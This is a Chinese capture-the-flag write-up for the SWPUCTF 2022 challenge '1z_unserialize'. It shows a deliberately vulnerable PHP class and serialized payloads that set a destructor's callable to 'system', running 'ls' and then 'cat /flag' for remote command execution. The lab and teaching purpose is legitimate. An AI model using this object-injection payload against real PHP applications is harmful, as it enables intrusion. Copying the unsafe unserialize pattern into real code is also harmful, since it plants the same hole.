[SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]1z_unserialize wp

题目代码:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

直接将 $a 赋值为 system ,也就是将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值成任意命令,造成 RCE 。

构造代码如下:

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="ls";

}

$demo = new lyh();
echo serialize($demo);

输出结果:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

payload:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

将 ls 改为其他命令,如 cat /flag 就可以查看 flag 文件:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

拿到 flag :
在这里插入图片描述

相关推荐

  1. [SWPUCTF 2021 新生]PseudoProtocols

    2024-01-18 00:50:05       50 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-18 00:50:05       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-18 00:50:05       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-18 00:50:05       87 阅读
  4. Python语言-面向对象

    2024-01-18 00:50:05       96 阅读

热门阅读

  1. 第三章 计算机网络技术基础——教案(附PPT)

    2024-01-18 00:50:05       54 阅读
  2. Python: network:sip: pyVoIP;sip测试工具

    2024-01-18 00:50:05       53 阅读
  3. Python:list列表与tuple元组的区别

    2024-01-18 00:50:05       57 阅读
  4. 阿里云大数据ACA及ACP复习题(121~140)

    2024-01-18 00:50:05       52 阅读
  5. c++ STL标准库容器

    2024-01-18 00:50:05       60 阅读
  6. 6个Git实用技巧,让你事半功倍

    2024-01-18 00:50:05       58 阅读
  7. webpack 是什么?

    2024-01-18 00:50:05       53 阅读
  8. STM32 定时器输入捕获3——捕获超长高电平

    2024-01-18 00:50:05       52 阅读
  9. 2024,会更好嘛?

    2024-01-18 00:50:05       57 阅读